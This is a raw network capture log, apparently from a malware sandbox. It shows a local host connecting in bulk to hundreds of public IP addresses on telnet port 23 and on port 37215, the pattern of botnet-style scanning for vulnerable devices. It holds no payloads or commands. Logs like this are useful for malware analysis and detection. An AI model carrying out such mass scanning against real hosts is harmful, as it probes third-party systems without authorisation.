Dec 3, 2024 23:01:54.806375027 CET	23	62862	69.234.123.214	192.168.2.23
Dec 3, 2024 23:01:54.806385040 CET	23	62862	152.238.67.196	192.168.2.23
Dec 3, 2024 23:01:54.806394100 CET	23	62862	154.77.30.76	192.168.2.23
Dec 3, 2024 23:01:54.806401014 CET	62862	23	192.168.2.23	110.48.93.180
Dec 3, 2024 23:01:54.806401014 CET	62862	23	192.168.2.23	32.251.189.50
Dec 3, 2024 23:01:54.806401014 CET	62862	23	192.168.2.23	191.127.126.92
Dec 3, 2024 23:01:54.806401014 CET	62862	23	192.168.2.23	208.199.60.226
Dec 3, 2024 23:01:54.806401014 CET	62862	23	192.168.2.23	57.44.107.6
Dec 3, 2024 23:01:54.806404114 CET	23	62862	25.171.208.35	192.168.2.23
Dec 3, 2024 23:01:54.806411028 CET	62862	23	192.168.2.23	13.99.66.224
Dec 3, 2024 23:01:54.806415081 CET	23	62862	217.248.222.120	192.168.2.23
Dec 3, 2024 23:01:54.806425095 CET	23	62862	52.62.52.247	192.168.2.23
Dec 3, 2024 23:01:54.806426048 CET	62862	23	192.168.2.23	69.234.123.214
Dec 3, 2024 23:01:54.806435108 CET	23	62862	82.93.92.100	192.168.2.23
Dec 3, 2024 23:01:54.806441069 CET	62862	23	192.168.2.23	152.238.67.196
Dec 3, 2024 23:01:54.806443930 CET	23	62862	81.200.11.97	192.168.2.23
Dec 3, 2024 23:01:54.806457043 CET	23	62862	163.228.101.1	192.168.2.23
Dec 3, 2024 23:01:54.806459904 CET	62862	23	192.168.2.23	154.77.30.76
Dec 3, 2024 23:01:54.806462049 CET	62862	23	192.168.2.23	217.248.222.120
Dec 3, 2024 23:01:54.806466103 CET	23	62862	47.205.59.35	192.168.2.23
Dec 3, 2024 23:01:54.806473970 CET	62862	23	192.168.2.23	25.171.208.35
Dec 3, 2024 23:01:54.806483984 CET	23	62862	131.66.245.176	192.168.2.23
Dec 3, 2024 23:01:54.806487083 CET	62862	23	192.168.2.23	52.62.52.247
Dec 3, 2024 23:01:54.806493998 CET	23	62862	198.244.14.214	192.168.2.23
Dec 3, 2024 23:01:54.806494951 CET	62862	23	192.168.2.23	82.93.92.100
Dec 3, 2024 23:01:54.806494951 CET	62862	23	192.168.2.23	81.200.11.97
Dec 3, 2024 23:01:54.806503057 CET	23	62862	42.123.55.43	192.168.2.23
Dec 3, 2024 23:01:54.806510925 CET	23	62862	23.241.1.122	192.168.2.23
Dec 3, 2024 23:01:54.806519032 CET	23	62862	216.144.211.209	192.168.2.23
Dec 3, 2024 23:01:54.806524038 CET	62862	23	192.168.2.23	163.228.101.1
Dec 3, 2024 23:01:54.806525946 CET	62862	23	192.168.2.23	47.205.59.35
Dec 3, 2024 23:01:54.806528091 CET	23	62862	88.58.252.206	192.168.2.23
Dec 3, 2024 23:01:54.806534052 CET	62862	23	192.168.2.23	198.244.14.214
Dec 3, 2024 23:01:54.806538105 CET	23	62862	186.99.67.255	192.168.2.23
Dec 3, 2024 23:01:54.806550980 CET	62862	23	192.168.2.23	131.66.245.176
Dec 3, 2024 23:01:54.806551933 CET	62862	23	192.168.2.23	42.123.55.43
Dec 3, 2024 23:01:54.806554079 CET	23	62862	19.242.235.96	192.168.2.23
Dec 3, 2024 23:01:54.806554079 CET	62862	23	192.168.2.23	23.241.1.122
Dec 3, 2024 23:01:54.806555033 CET	62862	23	192.168.2.23	216.144.211.209
Dec 3, 2024 23:01:54.806564093 CET	23	62862	151.45.234.31	192.168.2.23
Dec 3, 2024 23:01:54.806572914 CET	23	62862	23.178.69.192	192.168.2.23
Dec 3, 2024 23:01:54.806580067 CET	62862	23	192.168.2.23	186.99.67.255
Dec 3, 2024 23:01:54.806590080 CET	62862	23	192.168.2.23	88.58.252.206
Dec 3, 2024 23:01:54.806613922 CET	62862	23	192.168.2.23	19.242.235.96
Dec 3, 2024 23:01:54.806628942 CET	62862	23	192.168.2.23	151.45.234.31
Dec 3, 2024 23:01:54.806648970 CET	62862	23	192.168.2.23	23.178.69.192
Dec 3, 2024 23:01:54.824640036 CET	59534	37215	192.168.2.23	156.173.247.206
Dec 3, 2024 23:01:54.824884892 CET	59534	37215	192.168.2.23	41.230.8.66
Dec 3, 2024 23:01:54.824884892 CET	59534	37215	192.168.2.23	156.10.46.2
Dec 3, 2024 23:01:54.824891090 CET	59534	37215	192.168.2.23	41.81.138.66
Dec 3, 2024 23:01:54.824893951 CET	59534	37215	192.168.2.23	156.251.92.74
Dec 3, 2024 23:01:54.824893951 CET	59534	37215	192.168.2.23	41.146.156.231
Dec 3, 2024 23:01:54.824893951 CET	59534	37215	192.168.2.23	41.190.251.136
Dec 3, 2024 23:01:54.824894905 CET	59534	37215	192.168.2.23	197.35.112.35
Dec 3, 2024 23:01:54.824896097 CET	59534	37215	192.168.2.23	197.203.26.153
Dec 3, 2024 23:01:54.824896097 CET	59534	37215	192.168.2.23	156.217.229.15
Dec 3, 2024 23:01:54.824896097 CET	59534	37215	192.168.2.23	41.227.142.211
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	197.168.179.89
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	41.225.76.87
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	156.247.102.199
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	41.74.125.58
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	41.141.70.113
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	156.53.241.223
Dec 3, 2024 23:01:54.824899912 CET	59534	37215	192.168.2.23	156.126.187.227
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	156.129.132.159
Dec 3, 2024 23:01:54.824898005 CET	59534	37215	192.168.2.23	156.4.248.188
Dec 3, 2024 23:01:54.824899912 CET	59534	37215	192.168.2.23	197.106.150.92
Dec 3, 2024 23:01:54.824902058 CET	59534	37215	192.168.2.23	197.23.246.9
Dec 3, 2024 23:01:54.824899912 CET	59534	37215	192.168.2.23	197.211.225.25
Dec 3, 2024 23:01:54.824902058 CET	59534	37215	192.168.2.23	197.119.243.74
Dec 3, 2024 23:01:54.824902058 CET	59534	37215	192.168.2.23	156.168.19.112
Dec 3, 2024 23:01:54.824930906 CET	59534	37215	192.168.2.23	41.215.253.106
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	156.183.200.32
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	156.10.200.131
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	156.96.133.114
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	41.209.149.135
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	156.1.187.150
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	197.69.1.247
Dec 3, 2024 23:01:54.824932098 CET	59534	37215	192.168.2.23	197.154.175.155
Dec 3, 2024 23:01:54.824935913 CET	59534	37215	192.168.2.23	156.202.139.191
Dec 3, 2024 23:01:54.824937105 CET	59534	37215	192.168.2.23	156.133.187.231
Dec 3, 2024 23:01:54.824935913 CET	59534	37215	192.168.2.23	41.239.218.33
Dec 3, 2024 23:01:54.824937105 CET	59534	37215	192.168.2.23	41.171.222.184
Dec 3, 2024 23:01:54.824935913 CET	59534	37215	192.168.2.23	197.66.120.39
Dec 3, 2024 23:01:54.824937105 CET	59534	37215	192.168.2.23	41.219.91.208
Dec 3, 2024 23:01:54.824938059 CET	59534	37215	192.168.2.23	197.181.109.23
Dec 3, 2024 23:01:54.824938059 CET	59534	37215	192.168.2.23	197.242.69.41
Dec 3, 2024 23:01:54.824937105 CET	59534	37215	192.168.2.23	197.91.218.208
Dec 3, 2024 23:01:54.824938059 CET	59534	37215	192.168.2.23	41.167.3.81
Dec 3, 2024 23:01:54.824935913 CET	59534	37215	192.168.2.23	41.47.226.8
Dec 3, 2024 23:01:54.824938059 CET	59534	37215	192.168.2.23	156.246.207.140
Dec 3, 2024 23:01:54.824935913 CET	59534	37215	192.168.2.23	41.44.145.128
Dec 3, 2024 23:01:54.824938059 CET	59534	37215	192.168.2.23	41.233.82.56
Dec 3, 2024 23:01:54.824948072 CET	59534	37215	192.168.2.23	156.123.94.98
Dec 3, 2024 23:01:54.824948072 CET	59534	37215	192.168.2.23	156.111.193.93
Dec 3, 2024 23:01:54.824948072 CET	59534	37215	192.168.2.23	156.33.166.100
Dec 3, 2024 23:01:54.824954987 CET	59534	37215	192.168.2.23	197.68.207.199
Dec 3, 2024 23:01:54.824954987 CET	59534	37215	192.168.2.23	41.214.0.141
Dec 3, 2024 23:01:54.824958086 CET	59534	37215	192.168.2.23	197.184.204.81
Dec 3, 2024 23:01:54.824958086 CET	59534	37215	192.168.2.23	197.254.132.136
Dec 3, 2024 23:01:54.824959040 CET	59534	37215	192.168.2.23	156.89.253.88
Dec 3, 2024 23:01:54.824961901 CET	59534	37215	192.168.2.23	156.98.86.15
Dec 3, 2024 23:01:54.824999094 CET	59534	37215	192.168.2.23	197.21.197.237
Dec 3, 2024 23:01:54.825021982 CET	59534	37215	192.168.2.23	197.163.139.21
Dec 3, 2024 23:01:54.825047016 CET	59534	37215	192.168.2.23	156.179.191.170
Dec 3, 2024 23:01:54.825073957 CET	59534	37215	192.168.2.23	197.63.55.46
Dec 3, 2024 23:01:54.825083971 CET	59534	37215	192.168.2.23	156.3.243.154
Dec 3, 2024 23:01:54.825114012 CET	59534	37215	192.168.2.23	156.166.165.159
Dec 3, 2024 23:01:54.825122118 CET	59534	37215	192.168.2.23	41.37.221.106
Dec 3, 2024 23:01:54.825139999 CET	59534	37215	192.168.2.23	197.139.228.9
Dec 3, 2024 23:01:54.825165033 CET	59534	37215	192.168.2.23	41.139.29.159
Dec 3, 2024 23:01:54.825191975 CET	59534	37215	192.168.2.23	197.65.23.31
Dec 3, 2024 23:01:54.825203896 CET	59534	37215	192.168.2.23	197.194.242.139
Dec 3, 2024 23:01:54.825218916 CET	59534	37215	192.168.2.23	197.217.52.103
Dec 3, 2024 23:01:54.825232029 CET	59534	37215	192.168.2.23	197.153.165.32
Dec 3, 2024 23:01:54.825246096 CET	59534	37215	192.168.2.23	41.89.110.141
Dec 3, 2024 23:01:54.825259924 CET	59534	37215	192.168.2.23	197.199.78.65
Dec 3, 2024 23:01:54.825274944 CET	59534	37215	192.168.2.23	41.35.57.124
Dec 3, 2024 23:01:54.825298071 CET	59534	37215	192.168.2.23	41.135.50.72
Dec 3, 2024 23:01:54.825309992 CET	59534	37215	192.168.2.23	156.233.98.97
Dec 3, 2024 23:01:54.825326920 CET	59534	37215	192.168.2.23	197.128.104.104
Dec 3, 2024 23:01:54.825341940 CET	59534	37215	192.168.2.23	197.8.74.45
Dec 3, 2024 23:01:54.825361967 CET	59534	37215	192.168.2.23	156.42.52.154
Dec 3, 2024 23:01:54.825366020 CET	59534	37215	192.168.2.23	197.245.190.161
Dec 3, 2024 23:01:54.825375080 CET	59534	37215	192.168.2.23	41.52.210.107
Dec 3, 2024 23:01:54.825378895 CET	59534	37215	192.168.2.23	156.97.85.113
Dec 3, 2024 23:01:54.825386047 CET	59534	37215	192.168.2.23	197.66.85.50
Dec 3, 2024 23:01:54.825398922 CET	59534	37215	192.168.2.23	41.60.34.167
Dec 3, 2024 23:01:54.825406075 CET	59534	37215	192.168.2.23	41.245.46.119
Dec 3, 2024 23:01:54.825407982 CET	59534	37215	192.168.2.23	41.171.62.241
Dec 3, 2024 23:01:54.825423956 CET	59534	37215	192.168.2.23	197.105.191.200
Dec 3, 2024 23:01:54.825426102 CET	59534	37215	192.168.2.23	197.196.117.198
Dec 3, 2024 23:01:54.825433016 CET	59534	37215	192.168.2.23	41.5.34.250
Dec 3, 2024 23:01:54.825438976 CET	59534	37215	192.168.2.23	156.33.78.137
Dec 3, 2024 23:01:54.825443983 CET	59534	37215	192.168.2.23	41.92.132.245
Dec 3, 2024 23:01:54.825447083 CET	59534	37215	192.168.2.23	197.89.17.20
Dec 3, 2024 23:01:54.825448990 CET	59534	37215	192.168.2.23	41.59.0.230
Dec 3, 2024 23:01:54.825464010 CET	59534	37215	192.168.2.23	41.230.252.189
Dec 3, 2024 23:01:54.825464964 CET	59534	37215	192.168.2.23	197.128.238.128
Dec 3, 2024 23:01:54.825465918 CET	59534	37215	192.168.2.23	41.47.234.0
Dec 3, 2024 23:01:54.825465918 CET	59534	37215	192.168.2.23	156.135.51.11
Dec 3, 2024 23:01:54.825484991 CET	59534	37215	192.168.2.23	41.134.53.253
Dec 3, 2024 23:01:54.825485945 CET	59534	37215	192.168.2.23	197.115.131.241
Dec 3, 2024 23:01:54.825489044 CET	59534	37215	192.168.2.23	156.220.174.138
Dec 3, 2024 23:01:54.825489998 CET	59534	37215	192.168.2.23	156.133.51.189
Dec 3, 2024 23:01:54.825494051 CET	59534	37215	192.168.2.23	156.83.32.106
Dec 3, 2024 23:01:54.825494051 CET	59534	37215	192.168.2.23	41.17.145.139
Dec 3, 2024 23:01:54.825499058 CET	59534	37215	192.168.2.23	41.10.26.154
Dec 3, 2024 23:01:54.825499058 CET	59534	37215	192.168.2.23	41.40.98.81
Dec 3, 2024 23:01:54.825512886 CET	59534	37215	192.168.2.23	156.105.114.128
Dec 3, 2024 23:01:54.825517893 CET	59534	37215	192.168.2.23	41.127.153.34
Dec 3, 2024 23:01:54.825524092 CET	59534	37215	192.168.2.23	197.230.27.75
Dec 3, 2024 23:01:54.825529099 CET	59534	37215	192.168.2.23	197.20.90.17
Dec 3, 2024 23:01:54.825536013 CET	59534	37215	192.168.2.23	156.105.131.232
Dec 3, 2024 23:01:54.825556993 CET	59534	37215	192.168.2.23	41.165.205.145
Dec 3, 2024 23:01:54.825557947 CET	59534	37215	192.168.2.23	41.30.177.184
Dec 3, 2024 23:01:54.825557947 CET	59534	37215	192.168.2.23	41.249.88.83
Dec 3, 2024 23:01:54.825565100 CET	59534	37215	192.168.2.23	41.197.206.173
Dec 3, 2024 23:01:54.825567007 CET	59534	37215	192.168.2.23	197.115.75.72
Dec 3, 2024 23:01:54.825567961 CET	59534	37215	192.168.2.23	197.84.107.199
Dec 3, 2024 23:01:54.825567961 CET	59534	37215	192.168.2.23	197.5.139.80
Dec 3, 2024 23:01:54.825571060 CET	59534	37215	192.168.2.23	197.244.14.99
Dec 3, 2024 23:01:54.825572014 CET	59534	37215	192.168.2.23	156.211.77.154
Dec 3, 2024 23:01:54.825579882 CET	59534	37215	192.168.2.23	156.103.238.23
Dec 3, 2024 23:01:54.825583935 CET	59534	37215	192.168.2.23	41.41.228.59
Dec 3, 2024 23:01:54.825584888 CET	59534	37215	192.168.2.23	197.156.222.64
Dec 3, 2024 23:01:54.825593948 CET	59534	37215	192.168.2.23	156.213.74.218
Dec 3, 2024 23:01:54.825593948 CET	59534	37215	192.168.2.23	41.196.145.172
Dec 3, 2024 23:01:54.825598001 CET	59534	37215	192.168.2.23	41.209.150.36
Dec 3, 2024 23:01:54.825598001 CET	59534	37215	192.168.2.23	41.109.239.101
Dec 3, 2024 23:01:54.825598001 CET	59534	37215	192.168.2.23	197.212.32.105
Dec 3, 2024 23:01:54.825603008 CET	59534	37215	192.168.2.23	41.178.167.159
Dec 3, 2024 23:01:54.825606108 CET	59534	37215	192.168.2.23	197.155.27.202
Dec 3, 2024 23:01:54.825606108 CET	59534	37215	192.168.2.23	197.70.102.141
Dec 3, 2024 23:01:54.825607061 CET	59534	37215	192.168.2.23	197.219.37.57
Dec 3, 2024 23:01:54.825614929 CET	59534	37215	192.168.2.23	41.19.200.132
Dec 3, 2024 23:01:54.825614929 CET	59534	37215	192.168.2.23	197.86.74.35
Dec 3, 2024 23:01:54.825633049 CET	59534	37215	192.168.2.23	197.62.77.204
Dec 3, 2024 23:01:54.825638056 CET	59534	37215	192.168.2.23	41.212.246.110
Dec 3, 2024 23:01:54.825639963 CET	59534	37215	192.168.2.23	41.192.156.53
Dec 3, 2024 23:01:54.825639963 CET	59534	37215	192.168.2.23	41.226.70.60
Dec 3, 2024 23:01:54.825640917 CET	59534	37215	192.168.2.23	197.143.7.82
Dec 3, 2024 23:01:54.825640917 CET	59534	37215	192.168.2.23	156.61.68.11
Dec 3, 2024 23:01:54.825653076 CET	59534	37215	192.168.2.23	156.216.103.118
Dec 3, 2024 23:01:54.825654984 CET	59534	37215	192.168.2.23	197.222.77.62
Dec 3, 2024 23:01:54.825665951 CET	59534	37215	192.168.2.23	156.233.236.93
Dec 3, 2024 23:01:54.825669050 CET	59534	37215	192.168.2.23	197.215.177.189
Dec 3, 2024 23:01:54.825671911 CET	59534	37215	192.168.2.23	41.139.231.237
Dec 3, 2024 23:01:54.825685024 CET	59534	37215	192.168.2.23	41.162.240.234
Dec 3, 2024 23:01:54.825686932 CET	59534	37215	192.168.2.23	156.96.231.133
Dec 3, 2024 23:01:54.825686932 CET	59534	37215	192.168.2.23	197.58.13.186
Dec 3, 2024 23:01:54.825692892 CET	59534	37215	192.168.2.23	156.160.89.230
Dec 3, 2024 23:01:54.825696945 CET	59534	37215	192.168.2.23	41.70.64.172
Dec 3, 2024 23:01:54.825700045 CET	59534	37215	192.168.2.23	41.243.8.214
Dec 3, 2024 23:01:54.825700998 CET	59534	37215	192.168.2.23	41.226.36.90
Dec 3, 2024 23:01:54.825712919 CET	59534	37215	192.168.2.23	41.126.81.226
Dec 3, 2024 23:01:54.825712919 CET	59534	37215	192.168.2.23	156.92.19.22
Dec 3, 2024 23:01:54.825715065 CET	59534	37215	192.168.2.23	156.122.203.46
Dec 3, 2024 23:01:54.825735092 CET	59534	37215	192.168.2.23	41.43.77.143
Dec 3, 2024 23:01:54.825738907 CET	59534	37215	192.168.2.23	156.141.146.232
Dec 3, 2024 23:01:54.825743914 CET	59534	37215	192.168.2.23	41.121.107.144
Dec 3, 2024 23:01:54.825738907 CET	59534	37215	192.168.2.23	197.154.59.201
Dec 3, 2024 23:01:54.825766087 CET	59534	37215	192.168.2.23	156.95.22.111
Dec 3, 2024 23:01:54.825767994 CET	59534	37215	192.168.2.23	197.37.240.155
Dec 3, 2024 23:01:54.825767994 CET	59534	37215	192.168.2.23	156.114.224.147
Dec 3, 2024 23:01:54.825772047 CET	59534	37215	192.168.2.23	197.51.240.247
Dec 3, 2024 23:01:54.825781107 CET	59534	37215	192.168.2.23	41.207.193.166
Dec 3, 2024 23:01:54.825784922 CET	59534	37215	192.168.2.23	197.27.213.59
Dec 3, 2024 23:01:54.825787067 CET	59534	37215	192.168.2.23	156.59.8.79
Dec 3, 2024 23:01:54.825787067 CET	59534	37215	192.168.2.23	41.219.22.237
Dec 3, 2024 23:01:54.825788021 CET	59534	37215	192.168.2.23	197.26.179.185
Dec 3, 2024 23:01:54.825788021 CET	59534	37215	192.168.2.23	197.194.0.201
Dec 3, 2024 23:01:54.825788975 CET	59534	37215	192.168.2.23	197.89.28.94
Dec 3, 2024 23:01:54.825793982 CET	59534	37215	192.168.2.23	41.22.209.96
Dec 3, 2024 23:01:54.825804949 CET	59534	37215	192.168.2.23	156.222.57.140
Dec 3, 2024 23:01:54.825807095 CET	59534	37215	192.168.2.23	41.47.82.90
Dec 3, 2024 23:01:54.825809956 CET	59534	37215	192.168.2.23	41.135.105.41
Dec 3, 2024 23:01:54.825809956 CET	59534	37215	192.168.2.23	41.71.42.106
Dec 3, 2024 23:01:54.825814009 CET	59534	37215	192.168.2.23	197.171.77.135
Dec 3, 2024 23:01:54.825815916 CET	59534	37215	192.168.2.23	41.145.95.76
Dec 3, 2024 23:01:54.825818062 CET	59534	37215	192.168.2.23	197.167.102.245
Dec 3, 2024 23:01:54.825835943 CET	59534	37215	192.168.2.23	197.195.253.188
Dec 3, 2024 23:01:54.825836897 CET	59534	37215	192.168.2.23	156.80.108.151
Dec 3, 2024 23:01:54.825836897 CET	59534	37215	192.168.2.23	197.21.66.49
Dec 3, 2024 23:01:54.825836897 CET	59534	37215	192.168.2.23	197.217.12.58
Dec 3, 2024 23:01:54.825838089 CET	59534	37215	192.168.2.23	197.214.231.96
Dec 3, 2024 23:01:54.825836897 CET	59534	37215	192.168.2.23	197.118.153.227
Dec 3, 2024 23:01:54.825839043 CET	59534	37215	192.168.2.23	197.253.232.14
Dec 3, 2024 23:01:54.825836897 CET	59534	37215	192.168.2.23	156.128.177.18
Dec 3, 2024 23:01:54.825838089 CET	59534	37215	192.168.2.23	197.129.8.244
Dec 3, 2024 23:01:54.825851917 CET	59534	37215	192.168.2.23	41.197.18.50
Dec 3, 2024 23:01:54.825855017 CET	59534	37215	192.168.2.23	197.91.168.205
Dec 3, 2024 23:01:54.825855970 CET	59534	37215	192.168.2.23	197.239.36.108
Dec 3, 2024 23:01:54.825855970 CET	59534	37215	192.168.2.23	197.118.206.202
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	41.189.101.230
Dec 3, 2024 23:01:54.825858116 CET	59534	37215	192.168.2.23	41.159.126.116
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	156.227.187.41
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	41.232.127.108
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	41.45.138.161
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	197.91.35.47
Dec 3, 2024 23:01:54.825860023 CET	59534	37215	192.168.2.23	41.59.191.2
Dec 3, 2024 23:01:54.825859070 CET	59534	37215	192.168.2.23	41.63.36.249
Dec 3, 2024 23:01:54.825860023 CET	59534	37215	192.168.2.23	41.203.81.227
Dec 3, 2024 23:01:54.825866938 CET	59534	37215	192.168.2.23	197.210.204.10
Dec 3, 2024 23:01:54.825869083 CET	59534	37215	192.168.2.23	197.157.25.128
Dec 3, 2024 23:01:54.825871944 CET	59534	37215	192.168.2.23	41.7.75.231
Dec 3, 2024 23:01:54.825871944 CET	59534	37215	192.168.2.23	41.244.246.6
Dec 3, 2024 23:01:54.825872898 CET	59534	37215	192.168.2.23	197.219.18.60
Dec 3, 2024 23:01:54.825872898 CET	59534	37215	192.168.2.23	197.83.73.151
Dec 3, 2024 23:01:54.825872898 CET	59534	37215	192.168.2.23	41.118.210.237
Dec 3, 2024 23:01:54.825874090 CET	59534	37215	192.168.2.23	156.4.192.55
Dec 3, 2024 23:01:54.825881958 CET	59534	37215	192.168.2.23	41.100.23.97
Dec 3, 2024 23:01:54.825881958 CET	59534	37215	192.168.2.23	41.232.155.20
Dec 3, 2024 23:01:54.825884104 CET	59534	37215	192.168.2.23	41.137.0.144
Dec 3, 2024 23:01:54.825886011 CET	59534	37215	192.168.2.23	156.99.42.164
Dec 3, 2024 23:01:54.825886011 CET	59534	37215	192.168.2.23	197.151.84.52
Dec 3, 2024 23:01:54.825887918 CET	59534	37215	192.168.2.23	156.107.75.46
Dec 3, 2024 23:01:54.825887918 CET	59534	37215	192.168.2.23	41.113.221.14
Dec 3, 2024 23:01:54.825887918 CET	59534	37215	192.168.2.23	156.99.196.163
Dec 3, 2024 23:01:54.825905085 CET	59534	37215	192.168.2.23	197.39.159.9
Dec 3, 2024 23:01:54.825908899 CET	59534	37215	192.168.2.23	41.196.32.46
Dec 3, 2024 23:01:54.825921059 CET	59534	37215	192.168.2.23	197.181.72.3
Dec 3, 2024 23:01:54.825921059 CET	59534	37215	192.168.2.23	41.59.229.103
Dec 3, 2024 23:01:54.825931072 CET	59534	37215	192.168.2.23	156.49.204.59
Dec 3, 2024 23:01:54.825937986 CET	59534	37215	192.168.2.23	156.73.99.77
Dec 3, 2024 23:01:54.825941086 CET	59534	37215	192.168.2.23	156.134.161.31
Dec 3, 2024 23:01:54.825946093 CET	59534	37215	192.168.2.23	197.56.80.144
Dec 3, 2024 23:01:54.825956106 CET	59534	37215	192.168.2.23	41.96.71.221
Dec 3, 2024 23:01:54.825956106 CET	59534	37215	192.168.2.23	41.170.192.205
Dec 3, 2024 23:01:54.825963020 CET	59534	37215	192.168.2.23	156.1.226.32
Dec 3, 2024 23:01:54.825972080 CET	59534	37215	192.168.2.23	156.36.116.7
Dec 3, 2024 23:01:54.825979948 CET	59534	37215	192.168.2.23	41.183.233.39
Dec 3, 2024 23:01:54.825983047 CET	59534	37215	192.168.2.23	156.190.17.74
Dec 3, 2024 23:01:54.825985909 CET	59534	37215	192.168.2.23	156.242.170.38
Dec 3, 2024 23:01:54.825984955 CET	59534	37215	192.168.2.23	197.96.76.244
Dec 3, 2024 23:01:54.825987101 CET	59534	37215	192.168.2.23	156.145.208.110
Dec 3, 2024 23:01:54.825992107 CET	59534	37215	192.168.2.23	156.137.66.215
Dec 3, 2024 23:01:54.825994968 CET	59534	37215	192.168.2.23	41.174.133.62
Dec 3, 2024 23:01:54.825999975 CET	59534	37215	192.168.2.23	197.229.157.142
Dec 3, 2024 23:01:54.826001883 CET	59534	37215	192.168.2.23	197.159.162.234
Dec 3, 2024 23:01:54.826011896 CET	59534	37215	192.168.2.23	156.107.101.209
Dec 3, 2024 23:01:54.826019049 CET	59534	37215	192.168.2.23	41.34.214.67
Dec 3, 2024 23:01:54.826021910 CET	59534	37215	192.168.2.23	197.200.173.143
Dec 3, 2024 23:01:54.826025009 CET	59534	37215	192.168.2.23	41.73.252.176
Dec 3, 2024 23:01:54.826035023 CET	59534	37215	192.168.2.23	197.86.88.58
Dec 3, 2024 23:01:54.826050043 CET	59534	37215	192.168.2.23	197.151.186.109
Dec 3, 2024 23:01:54.826054096 CET	59534	37215	192.168.2.23	156.47.254.186
Dec 3, 2024 23:01:54.826054096 CET	59534	37215	192.168.2.23	197.160.101.195
Dec 3, 2024 23:01:54.826064110 CET	59534	37215	192.168.2.23	156.79.21.188
Dec 3, 2024 23:01:54.826070070 CET	59534	37215	192.168.2.23	41.170.9.116
Dec 3, 2024 23:01:54.826070070 CET	59534	37215	192.168.2.23	156.206.184.152
Dec 3, 2024 23:01:54.826072931 CET	59534	37215	192.168.2.23	41.53.53.176
Dec 3, 2024 23:01:54.826073885 CET	59534	37215	192.168.2.23	41.69.240.240
Dec 3, 2024 23:01:54.826073885 CET	59534	37215	192.168.2.23	156.188.1.204
Dec 3, 2024 23:01:54.826073885 CET	59534	37215	192.168.2.23	197.78.102.153
Dec 3, 2024 23:01:54.826076031 CET	59534	37215	192.168.2.23	197.143.13.162
Dec 3, 2024 23:01:54.826076031 CET	59534	37215	192.168.2.23	197.46.252.95
Dec 3, 2024 23:01:54.826092005 CET	59534	37215	192.168.2.23	156.248.75.54
Dec 3, 2024 23:01:54.826095104 CET	59534	37215	192.168.2.23	197.103.98.4
Dec 3, 2024 23:01:54.826095104 CET	59534	37215	192.168.2.23	41.224.39.67
Dec 3, 2024 23:01:54.826097012 CET	59534	37215	192.168.2.23	197.166.12.100
Dec 3, 2024 23:01:54.826097012 CET	59534	37215	192.168.2.23	41.152.36.31
Dec 3, 2024 23:01:54.826097012 CET	59534	37215	192.168.2.23	41.52.198.90
Dec 3, 2024 23:01:54.826097965 CET	59534	37215	192.168.2.23	41.227.190.31
Dec 3, 2024 23:01:54.826097965 CET	59534	37215	192.168.2.23	156.177.214.22
Dec 3, 2024 23:01:54.826097965 CET	59534	37215	192.168.2.23	41.202.100.171
Dec 3, 2024 23:01:54.826105118 CET	59534	37215	192.168.2.23	41.86.12.1
Dec 3, 2024 23:01:54.826112032 CET	59534	37215	192.168.2.23	197.187.184.194
Dec 3, 2024 23:01:54.826112986 CET	59534	37215	192.168.2.23	41.216.253.251
Dec 3, 2024 23:01:54.826113939 CET	59534	37215	192.168.2.23	197.233.228.201
Dec 3, 2024 23:01:54.826113939 CET	59534	37215	192.168.2.23	197.132.159.218
Dec 3, 2024 23:01:54.826113939 CET	59534	37215	192.168.2.23	197.43.88.104
Dec 3, 2024 23:01:54.826113939 CET	59534	37215	192.168.2.23	41.204.141.187
Dec 3, 2024 23:01:54.826114893 CET	59534	37215	192.168.2.23	156.31.226.37
Dec 3, 2024 23:01:54.826117039 CET	59534	37215	192.168.2.23	156.184.61.3
Dec 3, 2024 23:01:54.826121092 CET	59534	37215	192.168.2.23	156.5.64.229
Dec 3, 2024 23:01:54.826126099 CET	59534	37215	192.168.2.23	197.193.100.31
Dec 3, 2024 23:01:54.826126099 CET	59534	37215	192.168.2.23	197.226.195.171
Dec 3, 2024 23:01:54.826142073 CET	59534	37215	192.168.2.23	197.105.112.54
Dec 3, 2024 23:01:54.826143026 CET	59534	37215	192.168.2.23	41.196.141.133
Dec 3, 2024 23:01:54.826149940 CET	59534	37215	192.168.2.23	156.224.234.102
Dec 3, 2024 23:01:54.826149940 CET	59534	37215	192.168.2.23	197.251.190.234
Dec 3, 2024 23:01:54.826159000 CET	59534	37215	192.168.2.23	41.184.27.201
Dec 3, 2024 23:01:54.826173067 CET	59534	37215	192.168.2.23	41.150.129.157
Dec 3, 2024 23:01:54.826174021 CET	59534	37215	192.168.2.23	197.121.227.51
Dec 3, 2024 23:01:54.826180935 CET	59534	37215	192.168.2.23	197.40.13.61
Dec 3, 2024 23:01:54.826186895 CET	59534	37215	192.168.2.23	156.162.10.127
Dec 3, 2024 23:01:54.826200962 CET	59534	37215	192.168.2.23	41.199.167.158
Dec 3, 2024 23:01:54.826201916 CET	59534	37215	192.168.2.23	41.181.149.197
Dec 3, 2024 23:01:54.826204062 CET	59534	37215	192.168.2.23	41.141.55.138
Dec 3, 2024 23:01:54.826204062 CET	59534	37215	192.168.2.23	156.95.226.22
Dec 3, 2024 23:01:54.826206923 CET	59534	37215	192.168.2.23	197.241.19.166
Dec 3, 2024 23:01:54.826204062 CET	59534	37215	192.168.2.23	197.216.151.215
Dec 3, 2024 23:01:54.826209068 CET	59534	37215	192.168.2.23	41.150.39.189
